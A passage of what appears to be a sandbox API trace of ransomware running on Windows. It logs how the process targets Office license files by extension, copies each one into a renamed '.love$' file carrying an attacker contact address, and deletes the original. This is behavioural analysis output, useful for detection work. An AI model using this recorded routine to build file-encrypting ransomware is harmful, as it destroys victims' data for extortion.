Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0263.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0263.311] lstrlenW (lpString=".doc") returned 4 [0263.312] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.312] lstrlenW (lpString=".docx") returned 5 [0263.312] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.312] lstrlenW (lpString=".pdf") returned 4 [0263.312] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.312] lstrlenW (lpString=".xls") returned 4 [0263.312] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.312] lstrlenW (lpString=".xlsx") returned 5 [0263.312] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.312] lstrlenW (lpString=".ppt") returned 4 [0263.312] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0263.312] lstrlenW (lpString=".zip") returned 4 [0263.312] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.312] lstrlenW (lpString=".rar") returned 4 [0263.312] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.312] lstrlenW (lpString=".bz2") returned 4 [0263.312] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.312] lstrlenW (lpString=".7z") returned 3 [0263.313] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0263.313] lstrlenW (lpString=".dbf") returned 4 [0263.313] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0263.313] lstrlenW (lpString=".1cd") returned 4 [0263.313] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0263.313] lstrlenW (lpString=".jpg") returned 4 [0263.313] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.313] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0263.314] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 37 [0263.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0263.315] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=19966) returned 1 [0263.316] CloseHandle (hObject=0x574) returned 1 [0263.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 0x220 [0263.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0263.317] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.317] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0263.319] GetLastError () returned 0x0 [0263.319] ReadFile (in: hFile=0x574, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0263.499] WriteFile (in: hFile=0x56c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x4e00, lpOverlapped=0x0) returned 1 [0263.603] ReadFile (in: hFile=0x574, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0263.604] WriteFile (in: hFile=0x56c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11e, lpOverlapped=0x0) returned 1 [0263.604] SetEndOfFile (hFile=0x56c) returned 1 [0263.604] CloseHandle (hObject=0x56c) returned 1 [0263.604] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.604] SetEndOfFile (hFile=0x574) returned 1 [0263.609] CloseHandle (hObject=0x574) returned 1 [0263.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 1 [0263.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0263.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0263.612] lstrlenW (lpString=".doc") returned 4 [0263.612] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.612] lstrlenW (lpString=".docx") returned 5 [0263.612] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.612] lstrlenW (lpString=".pdf") returned 4 [0263.612] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.612] lstrlenW (lpString=".xls") returned 4 [0263.612] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.612] lstrlenW (lpString=".xlsx") returned 5 [0263.612] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.612] lstrlenW (lpString=".ppt") returned 4 [0263.612] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0263.613] lstrlenW (lpString=".zip") returned 4 [0263.613] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.613] lstrlenW (lpString=".rar") returned 4 [0263.613] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.613] lstrlenW (lpString=".bz2") returned 4 [0263.613] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.613] lstrlenW (lpString=".7z") returned 3 [0263.613] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0263.613] lstrlenW (lpString=".dbf") returned 4 [0263.613] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0263.613] lstrlenW (lpString=".1cd") returned 4 [0263.613] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0263.613] lstrlenW (lpString=".jpg") returned 4 [0263.614] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0263.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0263.614] lstrlenW (lpString=".doc") returned 4 [0263.614] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.614] lstrlenW (lpString=".docx") returned 5 [0263.614] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.614] lstrlenW (lpString=".pdf") returned 4 [0263.614] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.614] lstrlenW (lpString=".xls") returned 4 [0263.614] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.614] lstrlenW (lpString=".xlsx") returned 5 [0263.614] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.614] lstrlenW (lpString=".ppt") returned 4 [0263.614] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0263.614] lstrlenW (lpString=".zip") returned 4 [0263.614] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.614] lstrlenW (lpString=".rar") returned 4 [0263.614] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.614] lstrlenW (lpString=".bz2") returned 4 [0263.614] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.614] lstrlenW (lpString=".7z") returned 3 [0263.615] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0263.615] lstrlenW (lpString=".dbf") returned 4 [0263.615] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0263.615] lstrlenW (lpString=".1cd") returned 4 [0263.615] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0263.615] lstrlenW (lpString=".jpg") returned 4 [0263.615] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.615] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0263.615] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 33 [0263.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0263.617] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=10667) returned 1 [0263.617] CloseHandle (hObject=0x574) returned 1 [0263.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 0x220 [0263.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0263.618] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.618] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0263.621] GetLastError () returned 0x0 [0263.621] ReadFile (in: hFile=0x574, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x29ab, lpOverlapped=0x0) returned 1 [0263.625] WriteFile (in: hFile=0x56c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x29b0, lpOverlapped=0x0) returned 1 [0263.627] ReadFile (in: hFile=0x574, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0263.627] WriteFile (in: hFile=0x56c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x116, lpOverlapped=0x0) returned 1 [0263.627] SetEndOfFile (hFile=0x56c) returned 1 [0263.627] CloseHandle (hObject=0x56c) returned 1 [0263.627] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0263.627] SetEndOfFile (hFile=0x574) returned 1 [0263.632] CloseHandle (hObject=0x574) returned 1 [0263.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 1 [0263.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0263.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0263.635] lstrlenW (lpString=".doc") returned 4 [0263.635] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.635] lstrlenW (lpString=".docx") returned 5 [0263.635] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.635] lstrlenW (lpString=".pdf") returned 4 [0263.635] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.635] lstrlenW (lpString=".xls") returned 4 [0263.635] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.635] lstrlenW (lpString=".xlsx") returned 5 [0263.635] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.635] lstrlenW (lpString=".ppt") returned 4 [0263.635] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0263.635] lstrlenW (lpString=".zip") returned 4 [0263.636] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.636] lstrlenW (lpString=".rar") returned 4 [0263.636] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.636] lstrlenW (lpString=".bz2") returned 4 [0263.636] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.636] lstrlenW (lpString=".7z") returned 3 [0263.636] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0263.636] lstrlenW (lpString=".dbf") returned 4 [0263.636] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0263.636] lstrlenW (lpString=".1cd") returned 4 [0263.636] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0263.636] lstrlenW (lpString=".jpg") returned 4 [0263.636] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0263.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0263.637] lstrlenW (lpString=".doc") returned 4 [0263.637] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.637] lstrlenW (lpString=".docx") returned 5 [0263.637] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.637] lstrlenW (lpString=".pdf") returned 4 [0263.637] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.637] lstrlenW (lpString=".xls") returned 4 [0263.637] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.637] lstrlenW (lpString=".xlsx") returned 5 [0263.637] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.637] lstrlenW (lpString=".ppt") returned 4 [0263.637] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0263.637] lstrlenW (lpString=".zip") returned 4 [0263.637] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.637] lstrlenW (lpString=".rar") returned 4 [0263.637] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.637] lstrlenW (lpString=".bz2") returned 4 [0263.637] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.638] lstrlenW (lpString=".7z") returned 3 [0263.638] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0263.638] lstrlenW (lpString=".dbf") returned 4 [0263.638] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0263.638] lstrlenW (lpString=".1cd") returned 4 [0263.638] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0263.638] lstrlenW (lpString=".jpg") returned 4 [0263.638] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0264.035] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0264.035] lstrlenW (lpString="HomeBusinessR_Retail-pl.xrm-ms") returned 30 [0264.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0264.260] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=10655) returned 1 [0264.260] CloseHandle (hObject=0x534) returned 1 [0264.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 0x220 [0264.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0264.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0264.266] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0264.266] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0264.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0264.268] GetLastError () returned 0x0 [0264.268] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x299f, lpOverlapped=0x0) returned 1 [0264.275] WriteFile (in: hFile=0x3f4, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x29a0, lpOverlapped=0x0) returned 1 [0264.278] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0264.278] WriteFile (in: hFile=0x3f4, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x110, lpOverlapped=0x0) returned 1 [0264.278] SetEndOfFile (hFile=0x3f4) returned 1 [0264.278] CloseHandle (hObject=0x3f4) returned 1 [0264.278] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0264.278] SetEndOfFile (hFile=0x534) returned 1 [0264.285] CloseHandle (hObject=0x534) returned 1 [0264.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0264.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 1 [0264.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0264.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0264.288] lstrlenW (lpString=".doc") returned 4 [0264.288] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0264.288] lstrlenW (lpString=".docx") returned 5 [0264.288] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0264.288] lstrlenW (lpString=".pdf") returned 4 [0264.288] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0264.288] lstrlenW (lpString=".xls") returned 4 [0264.288] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0264.289] lstrlenW (lpString=".xlsx") returned 5 [0264.289] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0264.289] lstrlenW (lpString=".ppt") returned 4 [0264.289] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0264.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0264.289] lstrlenW (lpString=".zip") returned 4 [0264.289] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0264.289] lstrlenW (lpString=".rar") returned 4 [0264.289] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0264.289] lstrlenW (lpString=".bz2") returned 4 [0264.289] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0264.289] lstrlenW (lpString=".7z") returned 3 [0264.289] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 